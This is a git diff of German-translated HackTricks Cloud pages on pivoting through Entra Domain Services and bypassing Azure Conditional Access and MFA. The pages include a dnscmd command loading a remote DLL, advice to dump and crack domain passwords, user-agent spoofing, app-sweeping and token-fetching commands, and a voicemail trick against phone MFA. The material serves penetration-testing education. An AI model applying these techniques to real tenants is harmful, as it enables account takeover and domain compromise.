mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
12
.github/pull_request_template.md
vendored
12
.github/pull_request_template.md
vendored
@@ -1,9 +1,11 @@
|
||||
## Attribution
|
||||
Wir schätzen Ihr Wissen und ermutigen Sie, Inhalte zu teilen. Bitte stellen Sie sicher, dass Sie nur Inhalte hochladen, die Sie besitzen oder für die Sie die Erlaubnis des ursprünglichen Autors haben, sie zu teilen (indem Sie einen Verweis auf den Autor im hinzugefügten Text oder am Ende der Seite, die Sie ändern, oder beides hinzufügen). Ihr Respekt vor den Rechten an geistigem Eigentum fördert eine vertrauenswürdige und legale Sharing-Umgebung für alle.
|
||||
Du kannst diesen Inhalt vor dem Absenden des PR entfernen:
|
||||
|
||||
## Namensnennung
|
||||
Wir schätzen dein Wissen und ermutigen dich, Inhalte zu teilen. Bitte stelle sicher, dass du nur Inhalte hochlädst, die du besitzt oder für die du die Erlaubnis des Originalautors hast (füge eine Referenz auf den Autor im hinzugefügten Text oder am Ende der Seite, die du änderst, oder beides hinzu). Deine Achtung geistiger Eigentumsrechte fördert eine vertrauenswürdige und legale Austauschumgebung für alle.
|
||||
|
||||
## HackTricks Training
|
||||
Wenn Sie hinzufügen, um die [ARTE-Zertifizierung](https://training.hacktricks.xyz/courses/arte) mit 2 Flags anstelle von 3 zu bestehen, müssen Sie die PR `arte-<username>` nennen.
|
||||
Wenn du einen PR einreichst, um in der [ARTE certification](https://hacktricks-training.com/courses/arte) Prüfung mit 2 Flags statt 3 zu bestehen, musst du den PR `arte-<username>`, `grte-<username>` oder `azrte-<username>` nennen, je nachdem, welche Zertifizierung du machst.
|
||||
|
||||
Denken Sie auch daran, dass Grammatik-/Syntaxkorrekturen für die Reduzierung der Prüfungsflags nicht akzeptiert werden.
|
||||
Beachte außerdem, dass Grammatik- oder Syntaxkorrekturen nicht für die Reduktion der Prüfungsflags akzeptiert werden.
|
||||
|
||||
In jedem Fall vielen Dank für Ihren Beitrag zu HackTricks!
|
||||
In jedem Fall: Vielen Dank für deinen Beitrag zu HackTricks!
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
> [!TIP]
|
||||
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Lerne & übe AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Lerne & übe GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Lerne & übe Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Unterstützen Sie HackTricks</summary>
|
||||
> <summary>Unterstütze HackTricks</summary>
|
||||
>
|
||||
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
> - Sieh dir die [**Abonnementpläne**](https://github.com/sponsors/carlospolop) an!
|
||||
> - **Tritt der** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **oder der** [**telegram group**](https://t.me/peass) **bei oder folge uns auf** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos** einreichst.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -4,42 +4,42 @@
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne dass Domain Controller verwaltet werden müssen (tatsächlich haben Sie nicht einmal Zugriff auf sie).
|
||||
Microsoft Entra Domain Services ermöglicht die Bereitstellung eines Active Directory in Azure, ohne Domain Controllers verwalten zu müssen (tatsächlich hat man nicht einmal Zugriff auf diese).
|
||||
|
||||
Das Hauptziel besteht darin, Ihnen zu ermöglichen, Legacy-Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden verwenden können, oder wenn Sie nicht möchten, dass Verzeichnisabfragen immer auf eine lokale AD DS-Umgebung zurückgreifen.
|
||||
Das Hauptziel ist es, Legacy‑Anwendungen in der Cloud auszuführen, die keine modernen Authentifizierungsmethoden nutzen können, oder dort, wo Verzeichnisabfragen nicht ständig an ein On‑Premises AD DS zurückgehen sollen.
|
||||
|
||||
Beachten Sie, dass Sie, um die in Entra ID generierten Benutzer (und nicht von anderen aktiven Verzeichnissen synchronisierten) mit dem AD-Domain-Service zu synchronisieren, das **Passwort des Benutzers** auf ein neues ändern müssen, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wird.
|
||||
Beachte, dass, um die in Entra ID erzeugten Benutzer (und nicht aus anderen Active Directories synchronisierten) mit dem AD domain service zu synchronisieren, du das Passwort des Benutzers **ändern musst**, damit es mit dem neuen AD synchronisiert werden kann. Tatsächlich wird der Benutzer nicht von Microsoft Entra ID zu Domain Services synchronisiert, bis das Passwort geändert wurde.
|
||||
|
||||
> [!WARNING]
|
||||
> Selbst wenn Sie eine neue Active Directory-Domäne erstellen, können Sie sie nicht vollständig verwalten (es sei denn, Sie nutzen einige Fehlkonfigurationen), was bedeutet, dass Sie standardmäßig beispielsweise keine Benutzer direkt im AD erstellen können. Sie erstellen sie durch **Synchronisieren von Benutzern aus Entra ID.** Sie können angeben, dass alle Benutzer (auch die, die von anderen lokalen ADs synchronisiert wurden), nur Cloud-Benutzer (Benutzer, die in Entra ID erstellt wurden) oder sogar **weiter filtern** synchronisiert werden sollen.
|
||||
> Selbst wenn du eine neue Active Directory‑Domain erstellst, kannst du sie nicht vollständig verwalten (es sei denn, du nutzt bestimmte Fehlkonfigurationen), was bedeutet, dass du standardmäßig beispielsweise keine Benutzer direkt im AD erstellen kannst. Du erstellst sie durch **synchronizing users from Entra ID.** Du kannst angeben, alle Benutzer zu synchronisieren (auch diejenigen, die von anderen on‑premise ADs synchronisiert wurden), nur Cloud‑Benutzer (in Entra ID erstellte Benutzer), oder sie sogar **weiter einschränken**.
|
||||
|
||||
> [!NOTE]
|
||||
> Im Allgemeinen ist dies aufgrund der mangelnden Flexibilität bei der Konfiguration der neuen Domäne und der Tatsache, dass ADs normalerweise bereits lokal sind, nicht die Hauptintegration zwischen Entra ID und AD, aber es ist dennoch interessant zu wissen, wie man es kompromittieren kann.
|
||||
> Allgemein gilt: Aufgrund der eingeschränkten Konfigurationsmöglichkeiten der neuen Domain und der Tatsache, dass ADs üblicherweise bereits on‑premise vorhanden sind, ist dies nicht die primäre Integration zwischen Entra ID und AD, aber es ist trotzdem interessant zu wissen, wie man sie kompromittieren kann.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Mitglieder der generierten **`AAD DC Administrators`**-Gruppe erhalten lokale Administratorrechte auf VMs, die mit der verwalteten Domäne verbunden sind (aber nicht in den Domain Controllern), da sie in die lokale Administratorgruppe aufgenommen werden. Mitglieder dieser Gruppe können auch **Remote Desktop verwenden, um sich remote mit domain-joined VMs zu verbinden**, und sind auch Mitglieder der Gruppen:
|
||||
Mitglieder der erzeugten **`AAD DC Administrators`** Gruppe erhalten lokale Admin‑Rechte auf VMs, die an die verwaltete Domain angebunden sind (aber nicht auf die domain controllers), weil sie in die lokale Administrators‑Gruppe aufgenommen werden. Mitglieder dieser Gruppe können außerdem **Remote Desktop to connect remotely to domain-joined VMs**, und sind außerdem Mitglieder der Gruppen:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Dies ist eine Gruppe, die Benutzer und Gruppen angibt, deren Passwörter nicht auf RODCs (Read-Only Domain Controllers) zwischengespeichert werden können.
|
||||
- **`Group Policy Creators Owners`**: Diese Gruppe ermöglicht es Mitgliedern, Gruppenrichtlinien in der Domäne zu erstellen. Ihre Mitglieder können jedoch keine Gruppenrichtlinien auf Benutzer oder Gruppen anwenden oder vorhandene GPOs bearbeiten, sodass sie in dieser Umgebung nicht so interessant ist.
|
||||
- **`DnsAdmins`**: Diese Gruppe ermöglicht die Verwaltung der DNS-Einstellungen und wurde in der Vergangenheit missbraucht, um [Berechtigungen zu eskalieren und die Domäne zu kompromittieren](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jedoch wurde nach dem Testen des Angriffs in dieser Umgebung überprüft, dass die Schwachstelle gepatcht ist:
|
||||
- **`Group Policy Creators Owners`**: Diese Gruppe erlaubt Mitgliedern, Group Policies in der Domain zu erstellen. Allerdings können ihre Mitglieder Group Policies nicht auf Benutzer oder Gruppen anwenden oder bestehende GPOs bearbeiten, daher ist sie in dieser Umgebung nicht so relevant.
|
||||
- **`DnsAdmins`**: Diese Gruppe erlaubt die Verwaltung der DNS‑Einstellungen und wurde in der Vergangenheit missbraucht, um [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jedoch wurde nach Tests des Angriffs in dieser Umgebung festgestellt, dass die Schwachstelle gepatcht ist:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Beachten Sie, dass zur Gewährung dieser Berechtigungen die Gruppe **`AAD DC Administrators`** innerhalb des AD Mitglied der vorherigen Gruppen wird und auch die GPO **`AADDC Computers GPO`** alle Mitglieder der Domänengruppe **`AAD DC Administrators`** als lokale Administratoren hinzufügt.
|
||||
Beachte, dass zur Gewährung dieser Berechtigungen innerhalb des AD die Gruppe **`AAD DC Administrators`** in die vorherigen Gruppen aufgenommen wird und außerdem die GPO **`AADDC Computers GPO`** alle Mitglieder der Domänengruppe **`AAD DC Administrators`** als Local Administrators hinzufügt.
|
||||
|
||||
Das Pivotieren von Entra ID zu einem AD, das mit Domain Services erstellt wurde, ist unkompliziert. Fügen Sie einfach einen Benutzer zur Gruppe **`AAD DC Administrators`** hinzu, greifen Sie über RDP auf alle Maschinen in der Domäne zu, und Sie werden in der Lage sein, Daten zu stehlen und auch **die Domäne zu kompromittieren.**
|
||||
Pivoting von Entra ID zu einem mit Domain Services erstellten AD ist unkompliziert: Füge einen Benutzer zur Gruppe **`AAD DC Administrators`** hinzu, greife per RDP auf beliebige Maschinen in der Domain zu, und du kannst Daten stehlen und außerdem **compromise the domain.**
|
||||
|
||||
Das Pivotieren von der Domäne zu Entra ID ist jedoch nicht so einfach, da nichts aus der Domäne in Entra ID synchronisiert wird. Überprüfen Sie jedoch immer die Metadaten aller VMs, da ihre zugewiesenen verwalteten Identitäten interessante Berechtigungen haben könnten. Außerdem **dumpen Sie alle Benutzerpasswörter aus der Domäne** und versuchen Sie, diese zu knacken, um sich dann in Entra ID / Azure anzumelden.
|
||||
Das Pivoting von der Domain zu Entra ID ist dagegen nicht so einfach, da nichts aus der Domain in Entra ID synchronisiert wird. Prüfe jedoch immer die metadata aller beigetretenen VMs, da deren zugewiesene managed identities interessante Berechtigungen haben könnten. Außerdem **dump all the users passwords from the domain** und versuche, diese zu cracken, um dich dann bei Entra ID / Azure anzumelden.
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass in der Vergangenheit andere Schwachstellen in diesem verwalteten AD gefunden wurden, die es ermöglichten, die DCs zu kompromittieren, [wie diese hier](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ein Angreifer, der den DC kompromittiert, könnte sehr leicht die Persistenz aufrechterhalten, ohne dass die Azure-Administratoren es bemerken oder sogar in der Lage sind, sie zu entfernen.
|
||||
> Beachte, dass in der Vergangenheit weitere Schwachstellen in diesem managed AD gefunden wurden, die es ermöglichten, die DCs zu compromise, [wie diese](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Ein Angreifer, der die DCs compromise, könnte sehr einfach persistence aufrechterhalten, ohne dass die Azure admins dies bemerken oder es entfernen können.
|
||||
|
||||
### Aufzählung
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
@@ -59,7 +59,7 @@ az rest --method post \
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Azure Conditional Access-Richtlinien sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen für Azure-Dienste und -Anwendungen basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.\
|
||||
Conditional Access-Richtlinien **definieren** im Wesentlichen **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann.
|
||||
Azure Conditional Access policies sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen auf Azure services und applications basierend auf bestimmten **Bedingungen** durchzusetzen. Diese Policies helfen Organisationen, ihre Ressourcen zu sichern, indem sie unter den richtigen Umständen die passenden Zugriffskontrollen anwenden.\
|
||||
Conditional access policies definieren im Wesentlichen **Wer** auf **Was** von **Wo** und **Wie** zugreifen kann.
|
||||
|
||||
Hier sind ein paar Beispiele:
|
||||
|
||||
1. **Anmelderisiko-Richtlinie**: Diese Richtlinie könnte so eingestellt werden, dass sie eine Multi-Faktor-Authentifizierung (MFA) erfordert, wenn ein Anmelderisiko erkannt wird. Zum Beispiel, wenn das Anmeldeverhalten eines Benutzers im Vergleich zu seinem regulären Muster ungewöhnlich ist, wie z.B. das Anmelden aus einem anderen Land, kann das System zur zusätzlichen Authentifizierung auffordern.
|
||||
2. **Geräte-Compliance-Richtlinie**: Diese Richtlinie kann den Zugriff auf Azure-Dienste nur auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Zum Beispiel könnte der Zugriff nur von Geräten erlaubt werden, die über aktuelle Antivirensoftware verfügen oder eine bestimmte Version des Betriebssystems ausführen.
|
||||
1. **Sign-In Risk Policy**: Diese Policy kann so konfiguriert werden, dass bei Erkennung eines Sign-In-Risikos eine Multi-Faktor-Authentifizierung (MFA) erforderlich ist. Zum Beispiel kann das System bei ungewöhnlichem Anmeldeverhalten — etwa einer Anmeldung aus einem anderen Land — eine zusätzliche Authentifizierung anfordern.
|
||||
2. **Device Compliance Policy**: Diese Policy kann den Zugriff auf Azure services auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Beispielsweise könnte der Zugriff nur von Geräten erlaubt werden, die aktuelle Antivirus-Software installiert haben oder eine bestimmte Betriebssystemversion ausführen.
|
||||
|
||||
## Aufzählung
|
||||
## Enumeration
|
||||
```bash
|
||||
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
|
||||
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
|
||||
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
|
||||
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
|
||||
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
|
||||
```
|
||||
## Conditional Access Policies Bypasses
|
||||
## Bypässe von Conditional Access Policies
|
||||
|
||||
Es ist möglich, dass eine bedingte Zugriffsrichtlinie **einige Informationen überprüft, die leicht manipuliert werden können, was eine Umgehung der Richtlinie ermöglicht**. Und wenn beispielsweise die Richtlinie MFA konfiguriert hat, kann der Angreifer diese umgehen.
|
||||
Es ist möglich, dass eine Conditional Access Policy **Informationen überprüft, die leicht manipuliert werden können und so eine Umgehung der Richtlinie erlauben**. Wenn die Richtlinie beispielsweise MFA konfiguriert, kann ein Angreifer sie umgehen.
|
||||
|
||||
Bei der Konfiguration einer bedingten Zugriffsrichtlinie ist es erforderlich, die **betroffenen Benutzer** und **Zielressourcen** (wie alle Cloud-Apps) anzugeben.
|
||||
Beim Konfigurieren einer Conditional Access Policy muss man die **betroffenen Benutzer** und **Zielressourcen** (z. B. alle cloud apps) angeben.
|
||||
|
||||
Es ist auch notwendig, die **Bedingungen** zu konfigurieren, die die Richtlinie **auslösen**:
|
||||
Ebenfalls müssen die **Bedingungen** konfiguriert werden, die die Richtlinie **auslösen**:
|
||||
|
||||
- **Netzwerk**: IP, IP-Bereiche und geografische Standorte
|
||||
- Kann umgangen werden, indem man sich über ein VPN oder Proxy mit einem Land verbindet oder es schafft, sich von einer erlaubten IP-Adresse anzumelden
|
||||
- **Microsoft-Risiken**: Benutzer-Risiko, Anmelde-Risiko, Insider-Risiko
|
||||
- **Geräteplattformen**: Jedes Gerät oder Auswahl von Android, iOS, Windows Phone, Windows, macOS, Linux
|
||||
- Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent, der nicht mit diesen Plattformen in Verbindung steht, zu umgehen
|
||||
- **Client-Apps**: Optionen sind „Browser“, „Mobile Apps und Desktop-Clients“, „Exchange ActiveSync-Clients“ und „Andere Clients“
|
||||
- Um die Anmeldung mit einer nicht ausgewählten Option zu umgehen
|
||||
- **Filter für Geräte**: Es ist möglich, eine Regel in Bezug auf das verwendete Gerät zu erstellen
|
||||
- **Authentifizierungsflüsse**: Optionen sind „Gerätescodefluss“ und „Authentifizierungsübertragung“
|
||||
- Dies wird einen Angreifer nicht betreffen, es sei denn, er versucht, einen dieser Protokolle in einem Phishing-Versuch zu missbrauchen, um auf das Konto des Opfers zuzugreifen
|
||||
- **Network**: IP, IP-Bereiche und geografische Standorte
|
||||
- Kann umgangen werden, indem ein VPN oder Proxy benutzt wird, um sich mit einem erlaubten Land zu verbinden oder indem man es schafft, sich von einer erlaubten IP-Adresse anzumelden
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device oder spezifisch Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Wenn “Any device” nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies zu umgehen, indem ein zufälliger user-agent verwendet wird, der nicht zu diesen Plattformen gehört
|
||||
- **Client apps**: Optionen sind “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” und “Other clients”
|
||||
- Umgehbar, indem man sich mit einer nicht ausgewählten Option anmeldet
|
||||
- **Filter for devices**: Es ist möglich, eine Regel in Bezug auf das verwendete Gerät zu erstellen
|
||||
- **Authentication flows**: Optionen sind “Device code flow” und “Authentication transfer”
|
||||
- Das betrifft einen Angreifer nur, wenn er versucht, eines dieser Protokolle in einem Phishing-Angriff zu missbrauchen, um auf das Konto des Opfers zuzugreifen
|
||||
|
||||
Die möglichen **Ergebnisse** sind: Zugriff blockieren oder gewähren mit potenziellen Bedingungen wie MFA erforderlich, Gerät muss konform sein…
|
||||
Die möglichen **Ergebnisse** sind: Block oder Gewähren des Zugriffs mit möglichen Bedingungen wie Erfordernis von MFA, Gerät muss compliant sein …
|
||||
|
||||
### Geräteplattformen - Gerätebedingung
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
Es ist möglich, eine Bedingung basierend auf der **Geräteplattform** (Android, iOS, Windows, macOS...) festzulegen, jedoch basiert dies auf dem **User-Agent**, sodass es leicht zu umgehen ist. Selbst wenn **alle Optionen MFA erzwingen**, können Sie mit einem **User-Agent, der nicht erkannt wird,** die MFA oder Blockierung umgehen:
|
||||
Es ist möglich, eine Bedingung basierend auf der **device platform** (Android, iOS, Windows, macOS ...) zu setzen; diese basiert jedoch auf dem **user-agent** und ist daher leicht zu umgehen. Selbst wenn **alle Optionen MFA erzwingen**, kann man mit einem **user-agent, der nicht erkannt wird,** die MFA oder den Block umgehen:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es reicht aus, den Browser **einen unbekannten User-Agent** (wie `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) senden zu lassen, um diese Bedingung nicht auszulösen.\
|
||||
Sie können den User-Agent **manuell** in den Entwicklertools ändern:
|
||||
Allein damit der Browser einen **unbekannten user-agent** sendet (z. B. `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) wird diese Bedingung nicht ausgelöst.
|
||||
Du kannst den user-agent **manuell** in den Entwicklertools ändern:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Oder verwenden Sie eine [Browsererweiterung wie diese](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Oder verwende eine [Browser-Erweiterung wie diese](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Standorte: Länder, IP-Bereiche - Gerätebedingung
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
Wenn dies in der bedingten Richtlinie festgelegt ist, könnte ein Angreifer einfach ein **VPN** im **erlaubten Land** verwenden oder versuchen, einen Weg zu finden, um von einer **erlaubten IP-Adresse** aus auf diese Bedingungen zuzugreifen.
|
||||
Wenn dies in der Conditional Policy gesetzt ist, könnte ein Angreifer einfach ein **VPN** im **erlaubten Land** nutzen oder versuchen, einen Weg zu finden, von einer **erlaubten IP-Adresse** aus zuzugreifen, um diese Bedingungen zu umgehen.
|
||||
|
||||
### Cloud-Apps
|
||||
### Cloud Apps
|
||||
|
||||
Es ist möglich, **bedingte Zugriffsrichtlinien zu konfigurieren, um zu blockieren oder zu erzwingen**, beispielsweise MFA, wenn ein Benutzer versucht, auf eine **spezifische App** zuzugreifen:
|
||||
Es ist möglich, Conditional Access Policies so zu konfigurieren, dass z. B. MFA blockiert oder erzwungen wird, wenn sich ein Benutzer bei einer **bestimmten App** anmeldet:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Um zu versuchen, diesen Schutz zu umgehen, sollten Sie sehen, ob Sie **nur in eine beliebige Anwendung** gelangen können.\
|
||||
Das Tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) hat **Dutzende von Anwendungs-IDs fest codiert** und wird versuchen, sich in diese einzuloggen und Ihnen Bescheid geben und Ihnen sogar das Token geben, wenn es erfolgreich ist.
|
||||
Um zu versuchen, diesen Schutz zu umgehen, solltest du prüfen, ob du dich **in irgendeine Anwendung** anmelden kannst.
|
||||
Das Tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) hat **Zahler von application IDs hardcoded** und versucht, sich in diese anzumelden; es zeigt dir an und gibt dir sogar das Token, wenn es erfolgreich ist.
|
||||
|
||||
Um **spezifische Anwendungs-IDs in spezifischen Ressourcen zu testen**, könnten Sie auch ein Tool wie folgendes verwenden:
|
||||
Um **bestimmte application IDs in bestimmten Ressourcen zu testen**, kannst du auch ein Tool wie:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
Darüber hinaus ist es auch möglich, die Anmeldemethode zu schützen (z. B. wenn Sie versuchen, sich über den Browser oder eine Desktop-Anwendung anzumelden). Das Tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) führt einige Überprüfungen durch, um zu versuchen, diese Schutzmaßnahmen zu umgehen.
|
||||
Außerdem ist es möglich, die Login-Methode zu schützen (z. B. wenn du versuchst, dich aus dem Browser oder aus einer Desktop-Anwendung anzumelden). Das Tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) führt einige Prüfungen durch, um zu versuchen, diese Schutzmaßnahmen ebenfalls zu umgehen.
|
||||
|
||||
Das Tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) könnte ebenfalls für ähnliche Zwecke verwendet werden, obwohl es unmaintained aussieht.
|
||||
Das Tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kann ebenfalls für ähnliche Zwecke verwendet werden, obwohl es scheinbar nicht gepflegt wird.
|
||||
|
||||
Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer **whitebox** Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird versucht, sich in diese einzuloggen.
|
||||
Das Tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu prüfen, ob es möglich ist, MFAs oder Sperren zu umgehen, allerdings arbeitet dieses Tool aus einer **whitebox**-Perspektive. Zuerst musst du die Liste der im tenant erlaubten Apps herunterladen und dann versucht es, sich bei ihnen anzumelden.
|
||||
|
||||
## Weitere Az MFA Umgehungen
|
||||
## Weitere Az MFA Bypasses
|
||||
|
||||
### Klingelton
|
||||
### Rufton
|
||||
|
||||
Eine Azure MFA-Option besteht darin, **einen Anruf an die konfigurierte Telefonnummer zu erhalten**, bei dem der Benutzer gebeten wird, **das Zeichen `#` zu senden**.
|
||||
Eine Azure MFA-Option besteht darin, einen Anruf an die konfigurierte Telefonnummer zu erhalten, bei dem der Benutzer aufgefordert wird, das Zeichen `#` zu senden.
|
||||
|
||||
> [!CAUTION]
|
||||
> Da Zeichen nur **Töne** sind, könnte ein Angreifer die **Voicemail**-Nachricht der Telefonnummer **kompromittieren**, die Nachricht so konfigurieren, dass der **Ton von `#`** wiedergegeben wird, und dann, wenn die MFA angefordert wird, sicherstellen, dass das **Telefon des Opfers besetzt ist** (indem er es anruft), sodass der Azure-Anruf an die Voicemail umgeleitet wird.
|
||||
